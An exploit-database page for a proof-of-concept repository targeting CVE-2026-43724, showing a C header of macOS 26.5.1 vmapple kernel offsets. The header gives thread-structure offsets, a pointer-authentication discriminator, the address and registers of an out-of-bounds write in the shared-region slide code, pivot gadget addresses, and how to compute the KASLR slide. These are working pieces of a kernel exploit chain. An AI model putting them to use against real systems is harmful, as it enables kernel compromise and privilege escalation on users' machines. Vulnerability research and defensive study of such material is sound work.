Exploit database

GH-64708cd831164ae3950e75b73d66b9a8

impost0r/rie

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43724

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files10
impost0r/rieRevision 02a4da36a0da

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

vmapple_offsets.h

Text · 2,645 bytes
/*
 * vmapple_offsets.h -- ground-truth offsets for the macOS 26.5.1 (25F80)
 * vmapple kernel (KDK_26.5_25F71, kernel.release.vmapple, arm64e).
 *
 * Derived LIVE via lldb gdb-remote localhost:8001 against the running guest
 * kernel + static disasm of the on-disk kernel (2026-06-11). These SUPERSEDE
 * the stale t6000/t8103 values previously hard-coded in kpwn_continuation.c.
 *
 * Link-base (static) __TEXT_EXEC = 0xfffffe00072cc000. Runtime addrs = static
 * + KASLR slide (compute slide once at runtime: any leaked text ptr & ~0xfff
 * minus its static address; or from the panic pc).
 */
#ifndef VMAPPLE_OFFSETS_H
#define VMAPPLE_OFFSETS_H

/* ---- struct thread (sizeof = 1416 = 0x588) ----
 * lldb: print &((struct thread*)0)->continuation / ->parameter  on the live kernel. */
#define VMAPPLE_OFF_TH_CONTINUATION   0xd0   /* was 0xd8 on t6000 -- STALE */
#define VMAPPLE_OFF_TH_PARAMETER      0xd8   /* was 0xe0 on t6000 -- STALE */
#define VMAPPLE_SIZEOF_THREAD         1416

/* thread_continue_t type discriminator (bare, no addr-div). Unchanged across
 * builds (it is __builtin_ptrauth_type_discriminator(thread_continue_t)). */
#define VMAPPLE_THREAD_CONTINUE_T_DISC 0xd507

/* ---- v5 slide store (the OOB write site) ----
 * vm_shared_region_slide_page link base = 0xfffffe00074491c8.
 * v5 loop body (link addrs):
 *   +148 ldr x10,[x20,#0x10]   ; x10 = value_add (v5 header +0x10)
 *   +152 add x20,x10,x9        ; x20 = value_add + si_slide  (loop-invariant, callee-saved)
 *   +184 add x19,x19,x8        ; x19 = rebaseLocation (OOB target)
 *   +188 ldr x22,[x19]         ; OOB READ
 *   +196 add x8,x20,x8         ; x8 = (value_add+slide) + low34(read)
 *   +172 str x8,[x19]          ; *** OOB WRITE -- faulting store ***
 * => at panic: x19 == far (OOB addr), x20 == value_add (ASB flag register on
 *    vmapple), x8 == stored value. (t6000 used x21; t8103 x10/x20.) */
#define VMAPPLE_SLIDE_PAGE_LINKBASE   0xfffffe00074491c8ULL
#define VMAPPLE_SLIDE_STORE_LINK      0xfffffe0007449274ULL  /* str x8,[x19] (+172) */
#define VMAPPLE_SLIDE_VALUE_ADD_REG   20   /* x20 holds value_add at the fault */
#define VMAPPLE_SLIDE_OOB_TARGET_REG  19   /* x19 holds the OOB store address  */

/* ---- continuation pivot gadgets (link base; add KASLR slide at runtime) ---- */
#define VMAPPLE_CALL_CONTINUATION_LINK        0xfffffe00072dc560ULL
#define VMAPPLE_MPSC_QUEUE_THREAD_CONT_LINK   0xfffffe0007355ba4ULL  /* mpsc_queue.c:135 */
#define VMAPPLE_IPC_MQUEUE_RECV_CONT_LINK     0xfffffe0007308038ULL  /* ipc_mqueue.c:846 */

#define VMAPPLE_TEXT_EXEC_LINKBASE            0xfffffe00072cc000ULL

#endif /* VMAPPLE_OFFSETS_H */